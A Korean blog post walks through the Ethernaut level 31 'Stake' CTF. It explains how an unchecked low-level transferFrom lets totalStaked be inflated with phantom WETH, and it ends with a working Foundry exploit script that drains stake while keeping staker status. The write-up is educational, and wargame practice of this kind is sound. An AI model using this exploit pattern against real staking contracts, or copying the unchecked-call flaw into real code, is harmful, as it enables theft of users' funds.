1376 words
7 mins
Ethernaut 31 Stake

문제#

지문#

Stake is safe for staking native ETH and ERC20 WETH, considering the same 1:1 value of the tokens. Can you drain the contract? To complete this level, the contract state must meet the following conditions: The Stake contract’s ETH balance has to be greater than 0. totalStaked must be greater than the Stake contract’s ETH balance. You must be a staker. Your staked balance must be 0. Things that might be useful: ERC-20 specification. OpenZeppelin contracts

코드#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
mapping(address => bool) public Stakers;
address public WETH;
constructor(address _weth) payable{
totalStaked += msg.value;
WETH = _weth;
}
function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}
function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}
function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}
function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, "Data length must be at least 32 bytes");
uint256 result;
assembly {
result := mload(add(data, 0x20))
}
return result;
}
}

배경지식#


ERC20에서 approve(spender, amount)spender가 내 토큰을 amount만큼 가져갈 수 있도록 허용하는 함수다. 이 값은 allowance(owner, spender)로 조회할 수 있다. 그 다음 spendertransferFrom(owner, to, amount)를 호출하면, owner의 토큰을 to로 옮긴다. 단 allowance가 충분하더라도 owner의 실제 토큰 잔고가 부족하면 transferFrom은 실패한다. allowance는 권한이고, 실제 잔고는 별도 조건이다. 이 둘을 분리해서 봐야 한다.


Solidity에서 일반적인 인터페이스 호출은 대상 함수가 revert하면 현재 트랜잭션도 같이 revert된다. 반면 저수준 call은 호출 성공 여부를 bool로 돌려준다.

(bool success, bytes memory data) = target.call(payload);

여기서 success == false여도 직접 require(success)를 하지 않으면 현재 함수는 계속 실행된다. 따라서 저수준 call을 쓸 때는 반환된 success를 반드시 확인해야 한다. StakeWETHtransferFrom이 실패해도 이미 증가시킨 totalStakedUserStake를 되돌리지 않는다.

문제 코드 분석#


먼저 완료 조건부터 보자.

  1. address(Stake).balance > 0
  2. totalStaked > address(Stake).balance
  3. Stakers[msg.sender] == true
  4. UserStake[msg.sender] == 0

겉으로 보면 컨트랙트의 ETH를 모두 빼야 할 것 같지만, 실제 검증 조건은 ETH 잔고가 0보다 커야 한다. 마지막에는 Stake 컨트랙트에 1 wei라도 남아 있어야 한다.


이제 StakeETH와 ETH 잔고를 보자.

function StakeETH() public payable {
require(msg.value > 0.001 ether, "Don't be cheap");
totalStaked += msg.value;
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}

StakeETH는 실제 ETH를 받기 때문에 address(Stake).balancetotalStaked가 같이 증가한다. 이 함수만 사용하면 totalStaked와 ETH 잔고 사이에 차이를 만들 수 없다. 하지만 마지막 조건 때문에 Stake 컨트랙트 안에는 ETH가 조금 남아 있어야 한다. 이 ETH를 내 주소로 직접 넣으면 UserStake[msg.sender]도 같이 증가해서 나중에 0으로 맞춰야 한다. 그래서 별도의 tmp 컨트랙트 주소로 ETH를 넣어두면, 내 주소의 UserStake에는 영향을 주지 않고 Stake 컨트랙트의 ETH 잔고만 확보할 수 있다.


다음으로 StakeWETH의 상태 업데이트 순서를 보자.

function StakeWETH(uint256 amount) public returns (bool){
require(amount > 0.001 ether, "Don't be cheap");
(,bytes memory allowance) = WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender,address(this)));
require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?");
totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;
}

0xdd62ed3eallowance(address,address)의 selector다. 즉 이 코드는 allowance(msg.sender, address(this))를 저수준 호출로 조회한다.

WETH.call(abi.encodeWithSelector(0xdd62ed3e, msg.sender, address(this)))

그 다음 bytesToUint(allowance) >= amount만 확인한다. 여기서 확인하는 것은 실제 WETH 잔고가 아니라, 내가 Stake 컨트랙트에 허용한 allowance다. 문제는 그 다음 순서다.

totalStaked += amount;
UserStake[msg.sender] += amount;
(bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount));
Stakers[msg.sender] = true;
return transfered;

totalStakedUserStake를 먼저 증가시키고, 그 뒤에 transferFrom을 호출한다. 0x23b872ddtransferFrom(address,address,uint256)의 selector다. 만약 내 WETH 잔고가 부족하면 transferFrom은 실패한다. 하지만 저수준 call이라서 transfered == false가 될 뿐이고, 이 함수는 revert하지 않는다. 게다가 transferedrequire로 검사하지도 않는다. WETH가 실제로 이동하지 않아도 다음 상태가 만들어진다.

  1. totalStaked += amount
  2. UserStake[msg.sender] += amount
  3. Stakers[msg.sender] = true
  4. Stake 컨트랙트의 ETH 잔고는 그대로

totalStaked를 실제 ETH 잔고보다 크게 만들 수 있다.


마지막으로 Unstake와 남는 Stakers 상태를 보자.

function Unstake(uint256 amount) public returns (bool){
require(UserStake[msg.sender] >= amount,"Don't be greedy");
UserStake[msg.sender] -= amount;
totalStaked -= amount;
(bool success, ) = payable(msg.sender).call{value : amount}("");
return success;
}

UnstakeUserStake[msg.sender]totalStaked를 줄인 뒤, msg.sender에게 ETH를 전송한다. 여기서도 ETH 전송 결과인 success를 반환만 하고 require(success)를 하지 않는다. 이번 풀이에서는 Stake 컨트랙트에 amount + 1 wei를 미리 넣어두기 때문에, Unstake(amount)의 ETH 전송은 성공한다. 그러면 내 UserStake는 0이 되고, Stake 컨트랙트에는 1 wei가 남는다. UnstakeStakers[msg.sender]false로 바꾸지 않는다. 따라서 StakeWETH로 한 번 Stakers[msg.sender] = true를 만든 뒤 UnstakeUserStake를 0으로 낮춰도, 나는 여전히 staker로 남는다.

풀이#

익스플로잇#

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
interface IStake {
function StakeETH() external payable;
function StakeWETH(uint256 amount) external returns (bool);
function Unstake(uint256 amount) external returns (bool);
function WETH() external view returns (address);
}
interface IERC20 {
function approve(address spender, uint256 amount) external returns (bool);
}
contract tmp {
constructor(address _addr) payable {
IStake(_addr).StakeETH{value: msg.value}();
}
}
contract Attack is Script {
function run() external {
uint256 p = vm.envUint("PRIVATE_KEY");
address stakeaddr= vm.envAddress("STAKE_INSTANCE");
IStake stake = IStake(stakeaddr);
IERC20 weth = IERC20(stake.WETH());
uint256 amount = 0.0011 ether;
vm.startBroadcast(p);
new tmp{value: amount + 1 wei}(stakeaddr);
weth.approve(stakeaddr, amount);
stake.StakeWETH(amount);
stake.Unstake(amount);
vm.stopBroadcast();
}
}

screenshot

Ethernaut 31 Stake
https://0xaxii.github.io/posts/ethernaut-31-stake/
Author
Axii
Published
2026-05-07
License
CC BY-NC-SA 4.0